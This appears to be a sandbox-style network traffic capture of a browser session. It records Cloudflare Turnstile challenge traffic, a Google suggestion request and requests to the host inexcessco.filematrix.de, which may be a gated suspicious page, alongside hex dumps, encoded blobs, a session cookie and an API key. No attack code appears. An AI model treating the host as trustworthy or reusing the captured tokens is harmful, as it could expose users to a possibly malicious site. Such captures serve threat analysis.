2025-03-20 15:11:49 UTC	784	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/c9wks/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:11:50 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:11:49 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 923624f12ad07d06-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 15:11:50 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:11:49 UTC	487	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CO6MywE= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:11:49 UTC	1303	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:11:49 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Oh63pOOAXEc_c6uVUcS7mA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-20 15:11:49 UTC	1303	IN	Data Raw: 62 64 63 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 64 6f 77 20 6a 6f 6e 65 73 20 73 74 6f 63 6b 20 66 75 74 75 72 65 73 22 2c 22 61 73 73 61 73 73 69 6e 20 63 72 65 65 64 20 73 68 61 64 6f 77 73 22 2c 22 64 65 6e 76 65 72 20 70 75 62 6c 69 63 20 73 63 68 6f 6f 6c 73 20 74 65 61 63 68 65 72 73 20 70 72 6f 74 65 73 74 22 2c 22 77 65 61 74 68 65 72 20 74 6f 72 6e 61 64 6f 20 77 61 74 63 68 22 2c 22 63 69 6e 63 69 6e 6e 61 74 69 20 62 65 6e 67 61 6c 73 22 2c 22 6e 65 62 72 61 73 6b 61 20 73 6e 6f 77 66 61 6c 6c 20 74 6f 74 61 6c 73 22 2c 22 65 6c 6f 6e 20 6d 75 73 6b 20 6e 61 73 61 20 61 73 74 72 6f 6e 61 75 74 73 22 2c 22 73 6f 75 74 68 77 65 73 74 20 61 69 72 6c 69 6e 65 73 20 66 61 72 65 20 63 68 61 6e 67 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c Data Ascii: bdc)]}'["",["dow jones stock futures","assassin creed shadows","denver public schools teachers protest","weather tornado watch","cincinnati bengals","nebraska snowfall totals","elon musk nasa astronauts","southwest airlines fare changes"],["","","","",
2025-03-20 15:11:49 UTC	1303	IN	Data Raw: 79 73 77 57 6a 6c 30 63 6d 68 4c 57 54 42 30 5a 31 42 31 55 33 52 4e 5a 47 68 7a 4f 44 46 50 53 30 39 43 61 6e 68 49 55 44 42 78 62 58 55 76 64 54 4a 6c 62 48 4e 74 52 47 56 4d 61 6b 70 50 65 57 70 74 4d 33 6c 58 64 6e 4e 53 4d 33 4e 78 56 6a 64 32 59 55 70 73 63 47 5a 68 52 46 55 79 4d 33 6c 73 62 32 5a 55 4d 7a 56 50 55 57 5a 31 55 46 4e 76 4e 47 4a 4c 54 47 6b 35 56 57 46 4f 64 48 4a 6d 63 6c 4a 79 65 47 51 30 65 6c 4e 68 54 48 5a 58 5a 7a 68 56 56 55 46 76 51 6c 46 44 5a 30 5a 42 56 6b 64 54 64 47 51 35 4e 44 5a 61 61 55 6f 7a 5a 31 64 57 51 57 56 6c 54 30 35 73 65 55 5a 6d 61 30 67 72 62 7a 4d 34 64 32 46 76 5a 6d 5a 78 4d 6a 52 4d 4d 56 42 57 5a 32 78 6f 63 30 4d 31 4c 30 5a 56 65 56 67 33 56 6e 49 34 4f 55 39 6f 63 48 56 34 54 6d 63 30 4b 32 68 59 Data Ascii: yswWjl0cmhLWTB0Z1B1U3RNZGhzODFPS09CanhIUDBxbXUvdTJlbHNtRGVMakpPeWptM3lXdnNSM3NxVjd2YUpscGZhRFUyM3lsb2ZUMzVPUWZ1UFNvNGJLTGk5VWFOdHJmclJyeGQ0elNhTHZXZzhVVUFvQlFDZ0ZBVkdTdGQ5NDZaaUozZ1dWQWVlT05seUZma0grbzM4d2FvZmZxMjRMMVBWZ2xoc0M1L0ZVeVg3VnI4OU9ocHV4Tmc0K2hY
2025-03-20 15:11:49 UTC	437	IN	Data Raw: 54 55 64 55 4d 48 70 36 63 57 78 6b 53 7a 4e 77 62 45 6f 78 53 45 52 34 51 33 6b 30 52 6d 5a 4d 63 46 56 30 64 32 64 45 62 48 49 79 64 31 46 44 51 55 39 47 56 6e 4e 72 53 6d 52 71 55 45 35 52 54 6c 4d 35 56 48 70 35 4d 54 64 6f 56 45 52 74 61 6b 45 77 62 6b 38 72 63 6c 56 52 63 46 46 34 63 54 56 75 5a 6b 70 76 52 45 55 79 63 44 6c 76 51 58 4e 58 4f 55 39 56 53 6b 4e 46 51 6b 6c 56 54 6e 52 44 61 55 46 4f 64 30 46 4f 57 6e 64 43 65 56 52 72 4e 45 46 43 54 31 46 4b 55 32 52 33 4e 6e 68 4b 61 56 4e 4a 65 6c 64 73 61 45 56 73 64 33 56 31 4e 44 4e 4c 57 46 4e 43 4f 46 4a 32 4f 57 6c 33 56 54 5a 6e 55 69 74 76 62 46 64 44 56 47 31 6e 53 6e 5a 4c 4c 7a 4a 77 4c 7a 59 76 63 57 64 4e 63 55 46 56 51 6c 67 31 56 6e 4e 74 54 30 31 59 4d 55 78 55 59 57 4e 36 52 30 5a Data Ascii: TUdUMHp6cWxkSzNwbEoxSER4Q3k0RmZMcFV0d2dEbHIyd1FDQU9GVnNrSmRqUE5RTlM5VHp5MTdoVERtakEwbk8rclVRcFF4cTVuZkpvREUycDlvQXNXOU9VSkNFQklVTnRDaUFOd0FOWndCeVRrNEFCT1FKU2R3NnhKaVNJeldsaEVsd3V1NDNLWFNCOFJ2OWl3VTZnUitvbFdDVG1nSnZLLzJwLzYvcWdNcUFVQlg1VnNtT01YMUxUYWN6R0Z
2025-03-20 15:11:49 UTC	92	IN	Data Raw: 35 36 0d 0a 61 4e 32 45 31 64 58 5a 6b 63 31 52 6b 59 55 52 78 64 57 46 35 64 58 5a 79 4c 33 56 61 4f 45 5a 79 61 33 52 30 55 57 6b 30 61 31 42 4f 63 31 4e 59 57 46 5a 53 64 47 56 6a 53 56 5a 78 4d 45 46 61 4d 6b 39 75 53 54 4a 50 4d 32 52 35 52 6b 34 78 4e 55 49 78 4e 0d 0a Data Ascii: 56aN2E1dXZkc1RkYURxdWF5dXZyL3VaOEZya3R0UWk0a1BOc1NYWFZSdGVjSVZxMEFaMk9uSTJPM2R5Rk4xNUIxN
2025-03-20 15:11:49 UTC	1220	IN	Data Raw: 61 65 64 0d 0a 45 35 35 64 47 78 6b 53 6c 67 31 63 54 45 76 62 6a 51 32 4b 30 39 79 54 6c 56 31 64 33 6c 4b 52 6e 56 70 64 47 77 78 54 47 4e 6f 55 46 4e 4f 64 55 74 48 4c 31 4a 30 54 30 56 75 55 32 73 35 4e 6b 4e 46 59 56 51 34 62 6d 70 59 53 45 4a 30 52 54 52 5a 63 55 56 61 65 57 52 79 63 6b 6f 72 59 54 52 32 63 6d 35 6d 63 57 4a 49 54 46 68 4c 4c 30 52 5a 55 30 45 77 4d 45 70 54 53 46 45 32 4e 47 78 48 51 7a 46 78 65 47 70 54 55 57 52 35 61 30 52 5a 52 57 52 5a 59 56 56 75 64 6e 4a 31 4e 6a 64 4a 61 58 45 77 54 7a 42 72 4b 30 52 35 4e 54 6c 6c 64 6b 78 55 54 6d 78 6e 63 58 64 34 53 43 38 79 55 54 30 39 4f 68 68 42 63 33 4e 68 63 33 4e 70 62 69 64 7a 49 45 4e 79 5a 57 56 6b 49 46 4e 6f 59 57 52 76 64 33 4e 4b 42 79 4e 68 4d 7a 42 68 4d 47 5a 53 52 6d 64 Data Ascii: aedE55dGxkSlg1cTEvbjQ2K09yTlV1d3lKRnVpdGwxTGNoUFNOdUtHL1J0T0VuU2s5NkNFYVQ4bmpYSEJ0RTRZcUVaeWRyckorYTR2cm5mcWJITFhLL0RZU0EwMEpTSFE2NGxHQzFxeGpTUWR5a0RZRWRZYVVudnJ1NjdJaXEwTzBrK0R5NTlldkxUTmxncXd4SC8yUT09OhhBc3Nhc3NpbidzIENyZWVkIFNoYWRvd3NKByNhMzBhMGZSRmd
2025-03-20 15:11:49 UTC	1220	IN	Data Raw: 5a 30 74 36 55 57 5a 4d 5a 6e 52 69 64 55 64 76 64 58 4a 77 4d 46 4a 68 54 57 4d 72 56 57 4e 42 5a 46 68 45 56 54 4e 72 5a 6a 46 75 4e 55 6c 43 56 32 35 74 55 44 64 6a 4f 47 52 57 51 6b 4a 6e 59 54 64 46 4e 48 4a 70 55 58 52 75 62 30 6f 77 4e 57 6b 35 51 6e 6b 72 62 46 56 30 53 56 70 6c 64 55 4a 79 56 46 45 78 56 57 70 69 61 6a 56 45 4d 6b 5a 77 56 30 46 70 4f 48 68 44 4d 7a 5a 79 61 58 4d 78 53 54 49 79 4d 48 64 6f 64 32 67 30 51 32 74 44 55 6e 63 79 56 6b 4e 42 51 31 42 61 59 57 35 57 4d 6e 52 76 62 33 42 69 57 44 59 34 63 33 64 44 61 30 35 76 56 57 74 6c 4d 6c 52 50 61 48 5a 45 5a 6a 4a 55 56 32 45 7a 4d 47 6c 73 54 6c 6c 76 5a 44 5a 74 57 6c 68 4c 63 32 4a 46 5a 6e 42 52 54 57 35 76 53 32 4e 43 64 33 6c 76 51 54 46 55 51 56 42 72 4e 6d 74 55 52 55 35 Data Ascii: Z0t6UWZMZnRidUdvdXJwMFJhTWMrVWNBZFhEVTNrZjFuNUlCV25tUDdjOGRWQkJnYTdFNHJpUXRub0owNWk5QnkrbFV0SVpldUJyVFExVWpiajVEMkZwV0FpOHhDMzZyaXMxSTIyMHdod2g0Q2tDUncyVkNBQ1BaYW5WMnRvb3BiWDY4c3dDa05vVWtlMlRPaHZEZjJUV2EzMGlsTllvZDZtWlhLc2JFZnBRTW5vS2NCd3lvQTFUQVBrNmtURU5
2025-03-20 15:11:49 UTC	364	IN	Data Raw: 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 65 76 65 6e 74 69 64 22 3a 22 2d 37 38 34 36 37 34 38 32 38 31 35 33 30 32 33 36 38 33 38 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c Data Ascii: ],"google:suggesteventid":"-7846748281530236838","google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],
2025-03-20 15:11:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:11:50 UTC	663	OUT	GET /favicon.ico HTTP/1.1 Host: inexcessco.filematrix.de Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://inexcessco.filematrix.de/3Z6LC/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=hsrh08514g3qimo10rtj4a1nbs
2025-03-20 15:11:50 UTC	847	IN	HTTP/1.1 404 Not Found Date: Thu, 20 Mar 2025 15:11:50 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MGpxJYDMnOxbdTsnjlqankIfjTEua%2BTEmZcl%2BZiu8tLYjxJ8Muz39E%2BK7MUZ6DsoI9sgRb5nzXB41NX6FKLSZDeWDkBFTmVM3zrIn0CWGkRwzsPhn8IVCwnF5e5uvCe%2Fs7Qj3E5%2Fh7NgdSI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 923624f49c0a7864-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=102110&min_rtt=100446&rtt_var=22862&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1235&delivery_rate=37030&cwnd=247&unsent_bytes=0&cid=d363a025d4f902bc&ts=428&x=0"
2025-03-20 15:11:50 UTC	202	IN	Data Raw: 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c4<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2025-03-20 15:11:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:11:50 UTC	1190	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/116951644:1742480032:40wOJ2IgVIn2V65IWJRvPf9Qpxd_X2kOswqtovYudr8/923624ed89078c1d/jSPbgMiPzjKYSeLkzkf5.RS16C4zNz5uOgCWd96hLBs-1742483509-1.1.1.1-aviktczk7nuAgKCPpLNKXtIfCFuKR8KDfni6Kf1VjQosuvgeauUL1IzJFhWJbAnj HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3752 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: jSPbgMiPzjKYSeLkzkf5.RS16C4zNz5uOgCWd96hLBs-1742483509-1.1.1.1-aviktczk7nuAgKCPpLNKXtIfCFuKR8KDfni6Kf1VjQosuvgeauUL1IzJFhWJbAnj cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/c9wks/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:11:50 UTC	3752	OUT	Data Raw: 6b 74 43 6f 75 6f 59 6f 78 6f 43 6f 6e 48 71 36 48 71 45 6f 48 77 72 4c 44 57 48 5a 71 44 71 35 4d 77 63 65 6c 71 41 76 4c 6f 55 6c 72 76 71 73 71 38 6c 44 4c 39 6c 67 59 66 39 71 5a 6c 63 39 71 49 71 6b 32 6f 71 75 76 6f 71 7a 63 71 7a 2b 74 67 4f 71 78 43 4e 76 76 39 63 6c 72 51 71 37 77 72 35 71 78 54 37 65 71 6d 67 50 2d 71 31 71 38 4c 45 6b 2d 45 44 71 67 57 71 6b 4a 5a 4f 6d 30 74 6c 71 2b 4e 71 37 6f 2d 67 63 63 63 57 4d 34 35 63 74 6f 71 4f 32 4d 6a 4a 42 6c 69 54 71 55 50 44 72 41 66 38 2b 65 77 59 6e 79 6d 67 6f 71 74 59 71 2d 6f 66 42 7a 71 43 43 71 2d 6f 71 34 4b 6d 37 54 39 6d 71 71 35 6f 48 51 55 38 52 76 71 4f 74 42 66 38 4c 48 4b 71 67 55 49 63 45 54 71 71 75 48 4b 71 71 51 4c 4e 52 51 71 78 79 6b 5a 35 42 6c 71 63 46 76 66 59 4c 71 32 4e Data Ascii: ktCouoYoxoConHq6HqEoHwrLDWHZqDq5MwcelqAvLoUlrvqsq8lDL9lgYf9qZlc9qIqk2oquvoqzcqz+tgOqxCNvv9clrQq7wr5qxT7eqmgP-q1q8LEk-EDqgWqkJZOm0tlq+Nq7o-gcccWM45ctoqO2MjJBliTqUPDrAf8+ewYnymgoqtYq-ofBzqCCq-oq4Km7T9mqq5oHQU8RvqOtBf8LHKqgUIcETqquHKqqQLNRQqxykZ5BlqcFvfYLq2N
2025-03-20 15:11:50 UTC	1091	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:11:50 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 231792 Connection: close cf-chl-gen: 0Wm7s/BPTlRGsJgYrHDhe5IW/7cZX8+1suFv8adDnd+6y+5HXkc9kKtyGXre6AVMF6sd3LRwEGIsv9E2++6h4s4LTekc7q447bzNwA7FinsDBWDV9K0za/gQicltS9YI/I+j/vGdtDUs/2qildin2dRs84uJJpeN7BmUPuJbd05H8dBgMk0YOcheKhftx2yHRNkeLZyiznmjhzJTaQT1TRN9+qNI6GtOEOE6ZMGjnXEidItj3FMHUbzd52KpPF9AGupGXVORurmSGT6qejkH9rVRoran3HXMNVppRX0c1G1wVqTiKiBnTkT10XISZlGeqPm325if3GERBqoqikCUvSXYqi9OwN2KO9a5dd48ZWgzrVJ8q03WM8oRy3yyTUXzXz3+fk5ESclOoLMLuwpdFQoOHU2QUI1lpY4CUE8AOisESGQfDnWeZi9WtYCJxuuuGXvqGGwOY16kmd9q7PtDU4hz4hXo2VHGcQz/q9FMMgJrmnWLraq6zZ04eKphm3qzERf9Ng6uGxrQhjoQSSJ8LuFqTBisDQrrSAG9CmUzgs75eM7GPOz22jgzk/8IEc7JexgnrZZn3VOhJnRCzWMiA42gzgGg071rpoHZ99f7oHfmyphacYklU2X+lyEKvNvRsLQbuBg9GMbLbRnJPRjyJFGcCAkQnY2ZpUcclyW80YzL/7vS5eS88IYPQ3O1WqkI1JatBd4mqGC57oD9zkUXHRRlCxXh6oXfwzJZKQapPSw4IseGMTHahu4t8zS/x8yUOgmOrMt5NICTCTmcT+A6bapqUjCb5DiYPjyv9+7Ja/C4tJd9gGY3LtHt3CHbqnpt$xOxIpQNjWUkwsmAvmplipQ== Server: cloudflare CF-RAY: 923624f4b81319bb-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 15:11:50 UTC	278	IN	Data Raw: 6d 61 6d 55 6b 35 79 4d 72 4b 61 47 79 6f 71 68 6b 37 79 79 71 39 48 51 79 64 50 53 78 4e 58 65 6e 4e 37 59 7a 64 37 42 77 75 48 53 78 4f 44 58 74 4f 76 43 7a 37 72 63 7a 65 58 45 76 63 53 6f 78 73 58 34 78 64 44 77 74 73 6a 70 7a 41 48 38 32 39 2f 52 39 38 66 46 77 64 67 49 39 66 6e 2b 44 66 6a 6a 30 67 37 6e 43 68 48 53 30 76 45 57 47 68 76 31 46 66 62 36 37 68 51 50 2f 74 2f 31 2b 67 50 35 48 77 50 32 42 69 6b 41 4d 75 6b 6b 48 69 58 76 42 77 51 70 47 6a 51 49 4c 52 34 75 45 52 6f 53 4d 78 6f 67 2f 54 67 79 53 51 51 57 46 79 63 38 44 79 4d 6a 50 52 4d 68 52 45 4d 68 56 44 42 55 53 53 78 4b 4f 6c 52 62 4e 7a 38 72 55 47 51 6d 4a 31 78 49 59 53 4e 57 59 6c 6b 71 57 30 30 71 63 6c 35 44 56 6e 68 71 53 6b 64 48 62 7a 31 59 54 46 4a 37 55 59 4e 75 50 46 32 Data Ascii: mamUk5yMrKaGyoqhk7yyq9HQydPSxNXenN7Yzd7BwuHSxODXtOvCz7rczeXEvcSoxsX4xdDwtsjpzAH829/R98fFwdgI9fn+Dfjj0g7nChHS0vEWGhv1Ffb67hQP/t/1+gP5HwP2BikAMukkHiXvBwQpGjQILR4uERoSMxog/TgySQQWFyc8DyMjPRMhREMhVDBUSSxKOlRbNz8rUGQmJ1xIYSNWYlkqW00qcl5DVnhqSkdHbz1YTFJ7UYNuPF2
2025-03-20 15:11:50 UTC	1369	IN	Data Raw: 4e 32 6b 34 53 64 6a 5a 5a 2f 62 6d 43 59 6c 4a 4a 78 6c 47 47 64 68 6f 57 6f 69 47 6d 76 5a 61 79 42 69 59 4f 4b 73 72 65 6f 6f 59 4e 30 6a 59 32 75 71 4c 6d 53 6a 48 6d 39 6a 34 2b 69 77 5a 6d 54 79 4c 79 6a 71 36 50 4f 6f 37 75 75 77 61 62 57 77 4d 32 70 6f 39 72 56 30 4b 6d 63 73 72 2b 74 77 37 72 55 30 4d 4b 6b 35 75 54 62 79 4f 76 59 34 74 6a 50 71 73 43 72 31 66 62 54 36 66 6a 32 39 4f 72 70 33 74 76 2b 37 64 44 4c 77 4f 37 6a 76 51 6e 35 78 64 66 59 41 4d 33 73 32 2b 49 42 44 67 48 72 41 65 59 4d 36 2f 50 69 30 2f 50 73 33 51 7a 35 49 4e 33 32 2b 79 58 67 34 66 49 44 2b 76 6e 34 39 65 55 49 2f 43 45 49 44 7a 59 47 37 69 30 70 43 69 63 61 4b 7a 51 64 4b 6a 59 69 52 43 4d 69 44 68 6c 48 50 51 49 4b 44 41 51 2b 4c 30 73 68 48 53 38 54 51 6c 55 54 4a Data Ascii: N2k4SdjZZ/bmCYlJJxlGGdhoWoiGmvZayBiYOKsreooYN0jY2uqLmSjHm9j4+iwZmTyLyjq6POo7uuwabWwM2po9rV0Kmcsr+tw7rU0MKk5uTbyOvY4tjPqsCr1fbT6fj29Orp3tv+7dDLwO7jvQn5xdfYAM3s2+IBDgHrAeYM6/Pi0/Ps3Qz5IN32+yXg4fID+vn49eUI/CEIDzYG7i0pCicaKzQdKjYiRCMiDhlHPQIKDAQ+L0shHS8TQlUTJ
2025-03-20 15:11:50 UTC	1369	IN	Data Raw: 61 6b 47 46 37 67 5a 4a 69 66 70 31 6e 61 49 4e 38 6e 6d 69 47 67 6d 65 76 6a 49 65 51 73 35 43 4d 6c 4c 65 55 68 4a 69 37 6d 49 6d 63 76 35 79 4f 6f 4d 4f 67 6c 4b 54 48 70 4b 6d 6f 79 36 69 76 6e 71 36 68 6e 63 76 56 31 74 61 32 30 39 4c 45 31 37 43 39 72 4e 6e 67 76 63 33 52 35 63 58 68 78 36 69 2b 76 2b 48 73 33 38 4f 2f 72 64 50 48 77 37 48 69 36 4f 6a 49 38 72 4c 79 72 2f 37 36 32 65 6e 71 79 2f 72 58 31 4e 75 36 30 2f 58 55 31 77 50 48 7a 51 30 50 79 66 44 51 79 78 6a 53 31 42 66 74 48 66 50 5a 33 4f 34 52 32 50 30 61 38 78 38 68 49 76 30 6c 41 43 30 68 49 51 6a 36 41 79 62 72 41 51 33 74 4a 76 51 6d 47 51 66 33 2b 50 77 4e 47 66 59 4e 50 7a 48 36 48 7a 78 43 42 51 67 6d 53 2f 34 6c 4a 68 41 52 50 31 52 4a 51 69 51 74 55 79 78 44 55 31 46 55 56 6b Data Ascii: akGF7gZJifp1naIN8nmiGgmevjIeQs5CMlLeUhJi7mImcv5yOoMOglKTHpKmoy6ivnq6hncvV1ta209LE17C9rNngvc3R5cXhx6i+v+Hs38O/rdPHw7Hi6OjI8rLyr/762enqy/rX1Nu60/XU1wPHzQ0PyfDQyxjS1BftHfPZ3O4R2P0a8x8hIv0lAC0hIQj6AybrAQ3tJvQmGQf3+PwNGfYNPzH6HzxCBQgmS/4lJhARP1RJQiQtUyxDU1FUVk
2025-03-20 15:11:50 UTC	1369	IN	Data Raw: 6b 4a 64 78 68 71 4b 6f 64 48 75 59 6f 47 78 37 6f 32 75 65 73 62 64 79 69 6e 4b 73 74 35 6d 65 6b 35 61 4c 72 5a 36 68 6b 38 4f 53 74 70 65 6d 76 73 69 59 68 72 6a 4c 78 62 79 4d 6b 71 66 52 6c 49 32 68 78 62 75 71 30 6f 2b 34 32 72 6e 4b 77 35 6e 61 78 62 53 6e 6d 73 47 71 73 37 32 6d 79 2b 69 34 76 71 75 73 7a 39 4c 31 78 74 58 47 77 39 62 61 79 62 62 70 75 73 73 45 41 4f 32 37 76 64 49 49 43 77 54 43 78 38 62 4e 43 78 44 62 34 67 58 6e 34 41 48 52 36 41 73 47 44 66 33 6c 43 74 6e 74 2f 66 58 66 33 64 66 77 35 77 66 37 34 79 77 67 46 77 45 6f 4c 67 51 66 45 6a 45 49 48 2f 59 51 45 50 45 36 4e 6a 2f 31 50 53 41 4c 49 6b 58 36 4e 41 58 39 46 78 49 58 47 53 6b 6e 4b 67 59 48 55 55 77 4b 52 68 41 6a 54 44 51 35 53 45 39 51 48 55 31 56 50 53 31 4f 5a 56 34 Data Ascii: kJdxhqKodHuYoGx7o2uesbdyinKst5mek5aLrZ6hk8OStpemvsiYhrjLxbyMkqfRlI2hxbuq0o+42rnKw5naxbSnmsGqs72my+i4vqusz9L1xtXGw9baybbpussEAO27vdIICwTCx8bNCxDb4gXn4AHR6AsGDf3lCtnt/fXf3dfw5wf74ywgFwEoLgQfEjEIH/YQEPE6Nj/1PSALIkX6NAX9FxIXGSknKgYHUUwKRhAjTDQ5SE9QHU1VPS1OZV4
